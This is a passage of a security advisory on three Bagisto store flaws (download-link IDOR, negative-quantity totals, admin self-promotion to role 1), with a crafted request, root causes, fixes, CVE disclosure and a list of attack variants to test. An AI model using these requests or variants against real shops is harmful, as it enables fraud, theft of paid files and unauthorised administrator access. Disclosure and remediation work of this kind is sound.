------[redacted]-Disposition: form-data; name="id"4------[redacted]-Disposition: form-data; name="name"Limited User------[redacted]-Disposition: form-data; name="email"[redacted]------[redacted]-Disposition: form-data; name="role_id"1------[redacted]-Disposition: form-data; name="status"1------[redacted]-Disposition: form-data; name="_method"put------[redacted]--
Line by line:
name="id"with value4says which user account is being edited. It is the attacker's own account.name="name"with valueLimited Userandname="email"with value[redacted]are the account's display name and email address.name="role_id"with value1is the important one. Role 1 is the Administrator role.name="status"with value1keeps the account enabled.name="_method"with valueputis a common trick: HTML forms can only send GET and POST, so frameworks let a form claim to be a PUT request through this hidden field. PUT is the verb normally used for updating an existing record.
The target id (4) is the attacker's own account, and role_id (1) is the Administrator role.
Step 3: confirm the promotion
The server accepts the change and returns success:
Line by line:
HTTP/1.1 200 OKmeans the server accepted the edit.Date,Server,X-Powered-ByandX-Built-Withare the same informational headers as before.- The two
Set-Cookielines refresh the session and CSRF cookies. Content-Type: application/jsonandContent-Length: 40describe the short JSON body that follows.
{"message":"User updated successfully."}
Line by line:
"message":"User updated successfully."is the server saying the account was changed. Nothing in the reply suggests the change was refused.
Without logging out, the same privileged pages then return 200.

The whole escalation can be demonstrated in a single session.
Why each bug worked
Bug 1
Pricing and fulfilment disagree about what a link ID means. Downloadable::prepareForCart() filters the submitted IDs against the current product's own links, so a foreign ID contributes nothing to the price. DownloadableLinkPurchasedRepository::saveLinks() looks up each submitted ID globally and creates an entitlement for whatever it finds, with no check that $link->product_id matches the product in the order. Because AbstractType::prepareForCart() stores the client-supplied $data in the cart item's additional field, the original array reaches fulfilment unchanged. Validation at the request boundary is still useful, but it should not be the only check; the entitlement is created from data the client controls.
Bug 2
handleQuantity() returns the original value for negative numbers (return $quantity ?: 1;), so a negative quantity passes the add path even though Cart::updateItems() removes items with a quantity of zero or below. Two further parts of the application fail to stop the resulting negative total:
- At checkout,
Simple::validateCartItem()compares the stored unit price with a freshly calculated price. Since only the quantity was changed, the prices match and the function returns without recalculating the total. - The quantity column is
int unsigned, but Bagisto uses'strict' => falsein its database configuration. MySQL therefore clamps the negative value to0instead of raising an error, while the signedtotalremains negative.
Bug 3
The role update does not check whether the current administrator is allowed to assign the selected role. It also does not prevent self-assignment or compare the privilege level of the new role with the actor's current role. The role_id field is only checked for presence:
'role_id' => 'required'
Line by line:
'role_id' => 'required'is a validation rule saying only that the field must be present in the request. It does not say the value must exist in the roles table, and it does not restrict which roles may be assigned.
There is no exists: rule and no restriction on which roles can be assigned. An exists: rule would check that the submitted value really matches a row in the database.
A guard for role changes exists, but it checks a different case:
$isRoleChanged = $user->role->permission_type === 'all' && isset($data['role_id']) && (int) $data['role_id'] !== $user->role_id;
Line by line:
$isRoleChanged =starts a variable that will hold true or false.$user->role->permission_type === 'all'is true only if the target account already has full access.&& isset($data['role_id'])requires that a new role was submitted.&& (int) $data['role_id'] !== $user->role_idrequires that the new role differs from the current one.
if ($isRoleChanged && $this->adminRepository->countAdminsWithAllAccess() === 1) { return $this->cannotChangeRedirectResponse('role');}
Line by line:
if ($isRoleChanged && ...)runs the block only when a role change was detected.$this->adminRepository->countAdminsWithAllAccess() === 1is true when exactly one full-access administrator remains.return $this->cannotChangeRedirectResponse('role');refuses the change and sends the user back with an error about the role.
$user is the target account. When a custom-role account is promoted, $user->role->permission_type === 'all' is false because the target is not a full-access administrator yet. That makes $isRoleChanged false and the guard is skipped. The existing check therefore covers a full-access administrator changing their own role when they are the last remaining full-access administrator. It does not stop a lower-privileged administrator from assigning themselves that role.
What the impact was
- Bug 1 (CVSS 6.5): a customer can pay for a cheap downloadable product and receive download entitlements for files belonging to other products. In the test instance, $19.99 bought files with a combined list price of $947.00. The foreign entitlements do not appear in the storefront Downloads section or the admin order view, which are built from the ordered product's own links; they are visible in the
downloadable_link_purchasedtable. Link IDs come from a global auto-increment sequence, so they can be enumerated with values such aslinks[]=1..N. - Bug 2 (CVSS 8.1): a customer can make the cart total lower than the goods in it, in the test case reducing a $600 tablet plus a $162.52 microwave to a $112.44 cart total. The wishlist move-to-cart endpoint and bundle option quantities (
bundle_option_qty[...]) are the affected entry points. - Bug 3 (CVSS 8.8): an administrator holding only
settings.users.editcan promote their own account to the Administrator role, gaining access to store configuration, payment settings, customer data, orders and the rest of the admin panel. No CSRF bypass is needed, and the escalation works within a single session.
How to fix each one
Bug 1
The fix should be applied where the entitlement is created:
$allowedIds = $orderItem->product->downloadable_links()->pluck('id')->all();$requested = array_map('intval', (array) ($orderItem->additional['links'] ?? []));
Line by line:
$allowedIds = ...collects the IDs of the links that really belong to the ordered product.pluck('id')pulls out just the ID column, andall()turns the result into a plain list.$requested = ...takes the link IDs the customer submitted.(array)makes sure it is a list even if a single value arrived,?? []falls back to an empty list if nothing was submitted, andarray_map('intval', ...)converts every value to a whole number.
foreach (array_intersect($requested, $allowedIds) as $linkId) { // ...}
Line by line:
array_intersect($requested, $allowedIds)keeps only the IDs that appear in both lists, meaning the ones the customer asked for and that belong to this product.foreach (... as $linkId)then processes only those safe IDs.
Validation at the request boundary is still useful, but it should not be the only check. The fulfilment code should verify that every link belongs to the product being fulfilled.
Bug 2
The simplest fix is to reject non-positive quantities inside handleQuantity():
public function handleQuantity(int $quantity): int{ return $quantity > 0 ? $quantity : 1;}
Line by line:
public function handleQuantity(int $quantity): intis the same function signature as before.return $quantity > 0 ? $quantity : 1;returns the quantity only if it is greater than zero; otherwise it returns 1. The? :form means "if the condition is true, use the first value, else use the second".
The affected entry points should also validate the incoming quantity. The database setting 'strict' => false is worth reviewing too, since silently changing an invalid value can hide bugs like this.
Bug 3
The fix is to check the actor's authority before writing the new role. A non-full-access administrator should not be able to assign a role with broader permissions:
$actor = auth()->guard('admin')->user();$targetRole = $this->roleRepository->find($data['role_id']);
Line by line:
$actor = auth()->guard('admin')->user();gets the currently logged-in administrator, the person making the request.$targetRole = $this->roleRepository->find($data['role_id']);looks up the role the request wants to assign.
if ($actor->role->permission_type !== 'all' && $targetRole->permission_type === 'all') { abort(401);}
Line by line:
if ($actor->role->permission_type !== 'all'is true when the person making the change does not have full access.&& $targetRole->permission_type === 'all')is true when the role being assigned does have full access.abort(401);stops the request with a "not authorised" response.
Filtering the roles shown in the UI is also useful, but that should not be the authorisation control. A crafted request can bypass the interface, so the server needs to enforce the role-assignment rule.
Disclosure
All three issues were reported to Webkul on 2026-08-12 and assigned CVE identifiers:
+| CVE | Class | CVSS | Details |+| CVE-2026-79409 | Cross-product downloadable entitlement grant (IDOR) | 6.5 | https://nvd.nist.gov/vuln/detail/CVE-2026-79409 || CVE-2026-79410 | Customer-controlled order total (negative quantity) | 8.1 | https://nvd.nist.gov/vuln/detail/CVE-2026-79410 || CVE-2026-79411 | Vertical privilege escalation via settings.users.edit| 8.8 | https://nvd.nist.gov/vuln/detail/CVE-2026-79411 |+
Line by line:
- Each row lists one CVE number, its class (the type of flaw), its CVSS score, and a link to the public NVD entry. NVD is the US National Vulnerability Database, a public catalogue of known flaws.
IDORstands for Insecure Direct Object Reference: using an ID you were not meant to use, such as another product's link ID.Vertical privilege escalationmeans moving up to a more powerful role, as opposed to sideways between equals.
Disclosure timeline:
August 12, 2026 → Vulnerabilities reported privately to BagistoSeptember 2, 2026 → Bagisto confirmed the report was still under reviewSeptember 12, 2026 → CVEs assigned and updated findings + patch sharedSeptember 12 onward → No further response from BagistoNovember 10, 2026 → Planned public disclosure
Line by line:
August 12, 2026is when the report was sent privately to the vendor.September 2, 2026is when the vendor confirmed it was still under review.September 12, 2026is when the CVE numbers were assigned and the updated findings plus a patch were shared.September 12 onwardrecords that no further reply came from the vendor.November 10, 2026is the planned date for making the details public.
A proof of concept is linked at github.com/isukasanuj/bagisto-cve. A proof of concept is a small demonstration that shows the bug really works.
Variants worth testing
If you want to look for similar problems yourself, these are the directions the researcher suggests. Each one describes what to try and what a positive result looks like.
- Other downloadable-product carts. Submit a
links[]array containing IDs that belong to a different product and check whether the cart total stays at the cheap product's price while the order still completes. A positive result is a cart response whose total ignores the foreign IDs, followed by entitlements for those IDs in the purchased-links table. - Enumerating link IDs. Send sequential values such as
links[]=1..Nand look for entitlements created for IDs that were never offered on the product page. - Other quantity entry points. Try negative quantities on every endpoint that accepts a quantity, including wishlist move-to-cart and bundle option quantities (
bundle_option_qty[...]). A positive result is a line total that is negative while the request returns success. - Price-versus-total recalculation. After a negative line total is stored, proceed to checkout and confirm whether the total is recalculated. If the order completes at the reduced total, the validation gap is confirmed.
- Database strict mode. Check whether the application runs MySQL with
'strict' => false; if so, test whether invalid values are silently clamped rather than rejected, and whether a signed total survives the clamp. - Role assignment by lower-privileged admins. With an account holding only
settings.users.edit, submit an edit request for your own account with the Administrator role'srole_id. A positive result is a success response followed by 200 responses from previously forbidden admin pages in the same session. - Role list exposure. Inspect the user edit form for roles the actor should not be able to assign; if the full list, including full-access roles, is present, the server-side check is the only barrier.
- Self-assignment and privilege comparison. Test whether the application prevents an actor from assigning themselves a role, and whether it compares the new role's privilege level with the actor's current one.
Glossary
- API: a way for programs to talk to a server using structured data instead of full web pages.
- Array: a list of values stored under one name, such as
links[]. - Authentication: proving who you are, usually by logging in.
- Authorisation: deciding whether an identified user is allowed to do something.
- Auto-increment sequence: a database habit of giving each new row the next number in order, which makes IDs predictable.
- Bagisto: an open-source e-commerce platform built on Laravel.
- Bundle: a product made of several selectable parts, each with its own quantity.
- Clamping: quietly forcing an out-of-range value into the allowed range instead of rejecting it.
- Cookie: a small piece of text the server asks the browser to keep and send back, used to remember who you are.
- CSRF token: a random value the server expects back to confirm a request came from its own pages.
- CVE: a public catalogue number for a confirmed vulnerability.
- CVSS: a 0 to 10 scoring system for how serious a vulnerability is.
- Database table: a structured store of rows of data, such as the purchased-link records.
- Downloadable product: a product whose delivery is a file the customer downloads after paying.
- Endpoint: a specific server address that accepts a particular kind of request.
- Entitlement: a record saying a customer is allowed to download a particular file.
- Enumerating: trying a series of predictable values, such as 1, 2, 3, to find which ones exist.
- Fulfilment code: the part of the shop that hands out the goods after payment.
- ID: a number the database uses to identify a row, such as a product or a user.
- IDOR: Insecure Direct Object Reference, using an ID you were not meant to use.
- Intercepting proxy: a tool that sits between browser and server so requests can be paused and edited.
- JSON: a text format for structured data, looking like
{"name": "value"}. - Laravel: a PHP framework that provides ready-made building blocks for web applications.
- Multipart form: a request body split into named parts, used for forms and file uploads.
- NVD: the US National Vulnerability Database, a public catalogue of known flaws.
- PHP: the programming language Bagisto is written in.
- Pricing code: the part of the shop that works out what the customer pays.
- Proof of concept: a small demonstration that shows a bug really works.
- Request: a message the browser sends to the server.
- Response: the server's reply to a request.
- Session: the period during which the server treats you as the same visitor.
- Status code: the number at the start of a response, such as 200 for success or 401 for not authorised.
- Test instance: a private copy of the shop running on the researcher's own computer.
- Validation rule: a check that rejects bad input, such as "quantity must be positive".
- Vertical privilege escalation: moving up to a more powerful role than you were given.
- Wishlist: a saved list of products a customer may buy later.